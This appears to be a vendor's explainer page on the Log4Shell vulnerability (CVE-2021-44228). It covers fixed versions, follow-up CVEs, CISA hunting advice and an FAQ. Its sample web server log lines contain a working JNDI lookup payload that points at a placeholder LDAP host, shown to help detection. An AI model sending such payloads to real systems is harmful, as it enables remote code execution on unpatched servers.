What Is Log4Shell? CVE-2021-44228
Last verified on Nov 8, 2026.
Log4Shell is the nickname for CVE-2021-44228, a critical remote code execution flaw in Apache Log4j 2. Apache's advisory describes it plainly: Log4j's JNDI features do not protect against attacker-controlled LDAP and other JNDI endpoints, so an attacker who controls log messages or log message parameters can execute arbitrary code loaded from LDAP servers.
The reason it was so widespread is in the sentence "controls log messages." Applications log whatever users send, such as a request header, a username, or a search term. If any of that reached Log4j, the attacker's text was interpreted, not just stored.
Facts at a Glance
Follow-up flaws changed the advice. CVE-2021-45046 found the 2.15.0 fix incomplete in some non-default configurations and was fixed in 2.16.0. CVE-2021-45105 (denial of service by infinite recursion) was fixed in 2.17.0 for Java 8 and later, 2.12.3 for Java 7, and 2.3.1 for Java 6. CVE-2021-44832 (JDBC appender with a JNDI data source) was fixed in 2.17.1, 2.12.4, and 2.3.2. From 2.16.0 the JNDI lookup behavior is removed entirely.
What It Looks Like in Logs
Exploit attempts arrive as a lookup string in any field that gets logged. These illustrative web server lines show the shape, using documentation IP addresses:
203.0.113.50 - - [10/Dec/2021:03:14:07 +0000] "GET /?q=${jndi:ldap://203.0.113.99:1389/a} HTTP/1.1" 200 1432 "-" "Mozilla/5.0"
203.0.113.50 - - [10/Dec/2021:03:14:08 +0000] "GET /login HTTP/1.1" 200 5120 "-" "${jndi:ldap://203.0.113.99:1389/a}"A 200 does not mean the attack worked or failed. What matters is whether the application logged the value through a vulnerable Log4j, and whether the server then connected out to the address in the string. Public regex and bypass write-ups, which the NVD record links, show that simple string matching can be evaded, so decode first, then match. The method is covered in SQL injection and attack payload detection, and the incident workflow in checking logs for exploit attempts after a CVE.
Success leaves different traces. Apache's description says the code is loaded from an LDAP server, so look for an outbound connection from an application server to an unfamiliar host, followed by a new child process or file.
What CISA and Partners Advised
The joint advisory AA21-356a, from CISA, the FBI, NSA, and agencies in Australia, Canada, New Zealand, and the UK, listed three steps: identify affected assets, upgrade, and hunt. It told organizations to assume Log4j assets may have been compromised, to inspect accounts that exist on or connect to them, and to inspect configuration changes made since December 1, 2021.
It adds a point worth repeating: keep an inventory of what you patched, because actors may compromise an asset and then patch it to protect their own access.
Lessons That Still Apply
- Know your dependencies. Knowing where a library runs is the hard part of the first hour. See SBOM.
- Do not log raw untrusted input into a component that interprets it.
- Patching is not the end. A CVE with confirmed exploitation, listed in CISA KEV, calls for a hunt as well.
- Follow-up CVEs matter. The first fix was not the last.
Checking Log4j on cve.now
cve.now, a free vulnerability feed from Sazabi, has a page for CVE-2021-44228 and a Log4j technology feed. Its stack check takes Maven coordinates, such as maven:org.apache.logging.log4j:log4j-core@2.14.1, and lists matching vulnerabilities. Sazabi, an AI-native observability and security platform, gives its agent that check through the cve.now connector. To hear about the next one early, see new advisories.
Frequently Asked Questions
What is Log4Shell?
The nickname for CVE-2021-44228, a critical remote code execution flaw in Apache Log4j 2. An attacker who could control a logged message could make the library load and run code from an attacker-controlled server.
Which Log4j versions fix Log4Shell?
Apache lists 2.15.0 for Java 8 and later, 2.12.2 for Java 7, and 2.3.1 for Java 6. The follow-up flaws were fixed later, ending with CVE-2021-44832 in 2.17.1 (Java 8 and later), 2.12.4 (Java 7), and 2.3.2 (Java 6), so treat those as the minimum and prefer a current release.
Is Log4j 1.x affected by Log4Shell?
Not by this CVE. Apache says Log4j 1 has no lookups, so the risk is lower, but it reached end of life in 2015 and a separate CVE, CVE-2021-4104, covers its JMSAppender. Upgrade to Log4j 2.
Is Log4Shell still exploited?
It remains in the CISA KEV catalog, is marked as used in ransomware campaigns, and has an EPSS score of 0.99999. Treat unpatched Log4j as exposed.
Sources
- Apache advisory: CVE-2021-44228 is a JNDI lookup flaw in log4j-core rated 10.0 CRITICAL, fixed in 2.15.0 (Java 8+), 2.12.2 (Java 7), and 2.3.1 (Java 6); follow-up CVE-2021-45046 and CVE-2021-45105 were fixed by 2.16.0 and 2.17.0; discovered by Chen Zhaojun of Alibaba Cloud Security Team (accessed Nov 8, 2026)
- NVD record published 2021-12-10: an attacker who controls log messages or parameters can execute code loaded from LDAP servers; from 2.15.0 the behavior is disabled by default and from 2.16.0 it is removed; only log4j-core is affected; CVSS 3.1 10.0 (accessed Nov 8, 2026)
- CVE-2021-44832 (JDBC Appender with a JNDI LDAP data source) affects 2.0-beta7 through 2.17.0 and is fixed in 2.17.1, 2.12.4, and 2.3.2 (accessed Nov 8, 2026)
- The CVE record was reserved 2021-11-26 and published 2021-12-10 by the apache CNA (accessed Nov 8, 2026)
- Joint advisory: actively exploited; identify affected assets, upgrade, assume Log4j assets may be compromised, and hunt; track patching because actors may patch an asset after compromising it (accessed Nov 8, 2026)
- KEV lists CVE-2021-44228 added 2021-12-10, due 2021-12-24, with known ransomware campaign use (accessed Nov 8, 2026)
- EPSS score 0.99999, percentile 1.0, dated 2026-11-07 (accessed Nov 8, 2026)
- cve.now stack checks accept maven coordinates such as maven:org.apache.logging.log4j:log4j-core@2.14.1 (accessed Nov 8, 2026)